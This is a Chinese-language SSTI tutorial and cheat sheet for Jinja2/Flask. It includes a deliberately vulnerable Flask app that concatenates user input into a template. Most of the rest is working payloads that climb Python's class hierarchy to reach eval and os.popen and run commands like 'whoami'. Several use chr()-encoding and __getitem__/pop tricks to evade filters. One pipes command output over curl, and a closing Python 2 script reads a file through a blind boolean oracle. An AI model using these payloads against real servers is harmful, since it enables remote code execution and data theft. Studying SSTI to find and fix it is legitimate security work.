SSTI(Server-Side Template Injection) 服务端模板注入 就是服务器模板中拼接了恶意用户输入导致各种漏洞。通过模板,Web应用可以把输入转换成特定的HTML文件或者email格式
控制结构 {% %}
变量取值 {{ }}
注释 {# #}
smarty=Hello ${7*7} | Hello 49 |
---|---|
twig=Hello 49 | Hello 49 |
from flask import Flask, request
from jinja2 import Template
app = Flask(__name__)
@app.route("/")
def index():
name = request.args.get('name', 'guest')
t = Template("Hello " + name)
return t.render()
if __name__ == "__main__":
app.run()
可以看到Template("Hello "+ name)
是直接将变量name给输出到模版,如下图
构造poc直接利用eval函数来执行命令
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eval' in b.keys() %}
{{ b['eval']('__import__("os").popen("ls").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
[].__class__.__base__.__subclasses__()
for b in c.__init__.__globals__.values()
class | 返回该对象所属的类 | ||
---|---|---|---|
bases | 以元组的形式返回一个类所直接继承的类 | ||
base | 以字符串返回一个类所直接继承的第一个类 | ||
mro | 返回解析方法调用的顺序 | bases返回了test()的两个父类 bases_返回了test()的第一个父类 __mro按照子类到父类到父父类解析的顺序返回所有类。 | |
subclasses() | 返回类的所有子类 | ||
init | 所有类都包含init方法 | ||
‘ ‘.class.mro[1].subclasses() | 获取function所处空间下可使用的module、方法以及所有变量 |
不同的python版本 所包含的类也有差别,如python3中便没有file直接读取文件的类
而builtins类中则会包含不同版本中共有的类
for c in ().__class__.__bases__[0].__subclasses__():
if c.__name__=='共有的类':
c.__init__.__globals__['__builtins__']['eval']("__import__('os').system('whoami')")
也就是直接从__builtins__
中提取
{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('whoami').read()")}}
{% endif %}
{% endfor %}
#通过__bases__.__getitem__(0)(__subclasses__().__getitem__(128))绕过__bases__[0](__subclasses__()[128])
#通过__subclasses__().pop(128)绕过__bases__[0](__subclasses__()[128])
"".__class__.__bases__.__getitem__(0).__subclasses__().pop(128).__init__.__globals__.popen('whoami').read()
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(250).__init__.__globals__.__builtins__.chr %}{{().__class__.__bases__[0].__subclasses__()[250].__init__.__globals__.os.popen(chr(119)%2bchr(104)%2bchr(111)%2bchr(97)%2bchr(109)%2bchr(105)).read()}}
{% if ''.__class__.__bases__.__getitem__(0).__subclasses__().pop(250).__init__.__globals__.os.popen('curl http://127.0.0.1:7999/?i=`whoami`').read()=='p' %}1{% endif %}
{% set chr=().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(250).__init__.__globals__.__builtins__.chr %}{% for c in ().__class__.__base__.__subclasses__() %}{% if c.__name__==chr(95)%2bchr(119)%2bchr(114)%2bchr(97)%2bchr(112)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(111)%2bchr(115)%2bchr(101) %}{{ c.__init__.__globals__.popen(chr(119)%2bchr(104)%2bchr(111)%2bchr(97)%2bchr(109)%2bchr(105)).read() }}{% endif %}{% endfor %}
import requests
url = 'http://127.0.0.1:8080/'
def check(payload):
postdata = {
'exploit':payload
}
r = requests.post(url, data=postdata).content
return '~p0~' in r
password = ''
s = r'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"$\'()*+,-./:;<=>?@[\\]^`{|}~\'"_%'
for i in xrange(0,100):
for c in s:
payload = '{% if "".__class__.__mro__[2].__subclasses__()[40]("/tmp/test").read()['+str(i)+':'+str(i+1)+'] == "'+c+'" %}~p0~{% endif %}'
if check(payload):
password += c
break
print password